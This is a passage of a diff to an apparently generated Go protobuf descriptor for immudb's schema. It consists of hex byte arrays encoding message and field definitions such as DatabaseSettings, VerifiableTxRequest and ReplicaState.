0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x08, 0x66, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, - 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, - 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, - 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x65, - 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, - 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, - 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, - 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, - 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, - 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, 0x6f, - 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, - 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, + 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, + 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, + 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, + 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, + 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, + 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, + 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, + 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, + 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, + 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, + 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, + 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, + 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, + 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, + 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, + 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, + 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, + 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, + 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, + 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, + 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, + 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, + 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, + 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, + 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, + 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, + 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, + 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, + 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, + 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, + 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, + 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 